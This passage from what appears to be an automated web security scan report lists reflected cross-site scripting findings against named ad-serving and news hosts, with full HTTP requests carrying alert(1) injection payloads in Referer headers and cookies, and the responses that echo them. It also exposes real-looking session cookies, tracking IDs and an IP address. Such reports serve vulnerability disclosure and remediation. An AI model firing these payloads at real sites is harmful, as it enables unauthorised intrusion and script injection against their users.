Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 739
X-Cnection: close
X-N: S
Date: Tue, 10 May 2011 13:17:29 GMT
Connection: close
Vary: Accept-Encoding

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May 9485bb<script>alert(1)</script>026ef9b977d/photos.jpg</p>
...[SNIP]...

4.357. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ee93c"-alert(1)-"aec67b473f6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=ee93c"-alert(1)-"aec67b473f6

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=35092E778B882FBB9E169D2FA3411F63; Path=/
Content-Type: text/javascript
Content-Length: 8079
Date: Tue, 10 May 2011 14:23:12 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.google.com/search?hl=en&q=ee93c"-alert(1)-"aec67b473f6",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.ne
...[SNIP]...

4.358. http://a.collective-media.net/cmadj/idgt.slashgear/article_above [cli cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/idgt.slashgear/article_above

Issue detail

The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload efd24'%3balert(1)//5a1707cf17b was submitted in the cli cookie. This input was echoed as efd24';alert(1)//5a1707cf17b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /cmadj/idgt.slashgear/article_above;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=8260554892476648;env=ifr;ord1=16658;cmpgurl=http%253A//www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989eefd24'%3balert(1)//5a1707cf17b; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:35:43 GMT
Connection: close
Content-Length: 7823

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("idgt-81158936_1305034543","http://ad.doubleclick.net/adj/idgt.slashgear/article_above;net=idgt;u=,idgt-81158936_1305034543,11f8f328940989eefd24';alert(1)//5a1707cf17b,gadgets,am.h-am.b;;sec=article;fold=above;tile=1;sz=728x90;net=idgt;env=ifr;ord1=16658;contx=gadgets;dc=w;btg=am.h;btg=am.b;ord=8260554892476648?","728","90",false);</scr'+'ipt>
...[SNIP]...

4.359. http://a.collective-media.net/cmadj/ns.androidcentral/general [cli cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.androidcentral/general

Issue detail

The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1bfbb'%3balert(1)//6308d0d33d1 was submitted in the cli cookie. This input was echoed as 1bfbb';alert(1)//6308d0d33d1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /cmadj/ns.androidcentral/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=%202250960881356150;ord1=196261;cmpgurl=http%253A//www.androidcentral.com/android-central-google-io-2011? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e1bfbb'%3balert(1)//6308d0d33d1; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:34:19 GMT
Connection: close
Content-Length: 7285

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-13160067_1305034459","http://ad.doubleclick.net/adj/ns.androidcentral/general;net=ns;u=,ns-13160067_1305034459,11f8f328940989e1bfbb';alert(1)//6308d0d33d1,itbusmb,;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;ord1=196261;contx=itbusmb;dc=w;btg=;ord=%202250960881356150?","728","90",false);</scr'+'ipt>
...[SNIP]...

4.360. http://a.collective-media.net/cmadj/ns.androidcentral/general/archive [cli cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.androidcentral/general/archive

Issue detail

The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 25b4e'%3balert(1)//07989e2a19 was submitted in the cli cookie. This input was echoed as 25b4e';alert(1)//07989e2a19 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /cmadj/ns.androidcentral/general/archive;ppos=btf;kw=;tile=2;sz=300x250,336x280;net=ns;ord=2250960881356150;ord1=505344;cmpgurl=http%253A//www.androidcentral.com/android-central-google-io-2011? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e25b4e'%3balert(1)//07989e2a19; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:36:51 GMT
Connection: close
Content-Length: 7293

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-53952340_1305034611","http://ad.doubleclick.net/adj/ns.androidcentral/general/archive;net=ns;u=,ns-53952340_1305034611,11f8f328940989e25b4e';alert(1)//07989e2a19,itbusmb,;;ppos=btf;kw=;tile=2;cmw=owl;sz=300x250,336x280;net=ns;ord1=505344;contx=itbusmb;dc=w;btg=;ord=2250960881356150?","300","250,336",false);</scr'+'ipt>
...[SNIP]...

4.361. http://a.collective-media.net/cmadj/ns.knowyourmobile/general [cli cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.knowyourmobile/general

Issue detail

The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 73270'%3balert(1)//224dc346fdc was submitted in the cli cookie. This input was echoed as 73270';alert(1)//224dc346fdc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /cmadj/ns.knowyourmobile/general;ppos=atf;kw=;tile=2;sz=728x90;net=ns;ord=2513010054826736;ord1=877377;cmpgurl=http%253A//www.knowyourmobile.com/features/881740/google_io_what_to_expect.html? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e73270'%3balert(1)//224dc346fdc; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:38:50 GMT
Connection: close
Content-Length: 7273

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-88708472_1305034730","http://ad.doubleclick.net/adj/ns.knowyourmobile/general;net=ns;u=,ns-88708472_1305034730,11f8f328940989e73270';alert(1)//224dc346fdc,itdeweb,;;ppos=atf;kw=;tile=2;cmw=nurl;sz=728x90;net=ns;ord1=877377;contx=itdeweb;dc=w;btg=;ord=2513010054826736?","728","90",false);</scr'+'ipt>
...[SNIP]...

4.362. http://a.collective-media.net/cmadj/ns.slashgear/general [cli cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.slashgear/general

Issue detail

The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6ad6b'%3balert(1)//f3566435bf9 was submitted in the cli cookie. This input was echoed as 6ad6b';alert(1)//f3566435bf9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /cmadj/ns.slashgear/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ampc=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBGPgtMDrJTauSLMj0lAeZ-MGLBfKG-8sBAAAAEAEg3KOGAjgAWMKLheATYMmGhYmIpIQQsgERd3d3LnNsYXNoZ2Vhci5jb226AQlnZnBfaW1hZ2XIAQnaAVVodHRwOi8vd3d3LnNsYXNoZ2Vhci5jb20vc2Ftc3VuZy1nYWxheHktdGFiLTEwLTEtaGFuZHMtb24tYXQtZ29vZ2xlLWlvLTIwMTEtMDkxNTEwMjcvmAKIJ8ACAuACAOoCGFNsYXNoR2Vhci03Mjh4OTAtUHJpbWFyefgC8NEekAOkA5gDpAOoAwHgBAE%26num%3D0%26sig%3DAGiWqtzXozm10NV5RS71pypP48jN1u48ug%26client%3Dca-pub-3201252381583585%26adurl%3D;ord=8602318128105253;env=ifr;ord1=461219;cmpgurl=http%253A//www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/tier1_728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e6ad6b'%3balert(1)//f3566435bf9; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:34:26 GMT
Connection: close
Content-Length: 7765

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-70799298_1305034466","http://ad.doubleclick.net/adj/ns.slashgear/general;net=ns;u=,ns-70799298_1305034466,11f8f328940989e6ad6b';alert(1)//f3566435bf9,Miscellaneous,;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBGPgtMDrJTauSLMj0lAeZ-MGLBfKG-8sBAAAAEAEg3KOGAjgAWMKLheATYMmGhYmIpIQQ
...[SNIP]...

4.363. http://a.collective-media.net/cmadj/q1.philly/news [cli cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/q1.philly/news

Issue detail

The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ac13e'%3balert(1)//8e27f2706b5 was submitted in the cli cookie. This input was echoed as ac13e';alert(1)//8e27f2706b5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /cmadj/q1.philly/news;sz=300x600;net=q1;ord=[timestamp];ord1=158490;cmpgurl=http%253A//www.philly.com/philly/news/nation_world/121548659.html? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989eac13e'%3balert(1)//8e27f2706b5; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:11:54 GMT
Connection: close
Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Tue, 10-May-2011 21:11:54 GMT
Content-Length: 7293

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("q1-28584092_1305033114","http://ad.doubleclick.net/adj/q1.philly/news;net=q1;u=,q1-28584092_1305033114,11f8f328940989eac13e';alert(1)//8e27f2706b5,polit,;;sz=300x600;net=q1;ord1=158490;contx=polit;dc=w;btg=;ord=[timestamp]?","300","600",false);</scr'+'ipt>
...[SNIP]...

4.364. http://ar.voicefive.com/bmx3/broker.pli [BMX_3PC cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the BMX_3PC cookie is copied into the HTML document as plain text between tags. The payload 54cdd<script>alert(1)</script>edb1ea624c9 was submitted in the BMX_3PC cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p85001580&PRAd=62165328&AR_C=41861280 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/featureseb01b%22-alert(%22XSS%22)-%22c1d3a58f98a/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:15:11 2011&prad=253732016&arc=207615354&; BMX_3PC=154cdd<script>alert(1)</script>edb1ea624c9; UID=875e3f1e-184.84.247.65-1303349046; BMX_G=method%2D%3E%2D1%2Cts%2D%3E1305033314%2E005%2Cwait%2D%3E10000%2C

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 14:01:58 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p85001580=exp=1&initExp=Tue May 10 14:01:58 2011&recExp=Tue May 10 14:01:58 2011&prad=62165328&arc=41861280&; expires=Mon 08-Aug-2011 14:01:58 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 28645

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"62165328",Pid:"p85001580",Arc:"41861280",Location:CO
...[SNIP]...
91151&arc=6108747&', "UID": '875e3f1e-184.84.247.65-1303349046', "ar_p91136705": 'exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&', "BMX_3PC": '154cdd<script>alert(1)</script>edb1ea624c9', "ar_p92429851": 'exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&', "ar_p81479006": 'exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19
...[SNIP]...

4.365. http://ar.voicefive.com/bmx3/broker.pli [BMX_G cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the BMX_G cookie is copied into the HTML document as plain text between tags. The payload b3453<script>alert(1)</script>63a58e2fc29 was submitted in the BMX_G cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p85001580&PRAd=62165328&AR_C=41861280 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/featureseb01b%22-alert(%22XSS%22)-%22c1d3a58f98a/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:15:11 2011&prad=253732016&arc=207615354&; BMX_3PC=1; UID=875e3f1e-184.84.247.65-1303349046; BMX_G=method%2D%3E%2D1%2Cts%2D%3E1305033314%2E005%2Cwait%2D%3E10000%2Cb3453<script>alert(1)</script>63a58e2fc29

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 14:02:03 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p85001580=exp=1&initExp=Tue May 10 14:02:03 2011&recExp=Tue May 10 14:02:03 2011&prad=62165328&arc=41861280&; expires=Mon 08-Aug-2011 14:02:03 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 28645

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"62165328",Pid:"p85001580",Arc:"41861280",Location:CO
...[SNIP]...
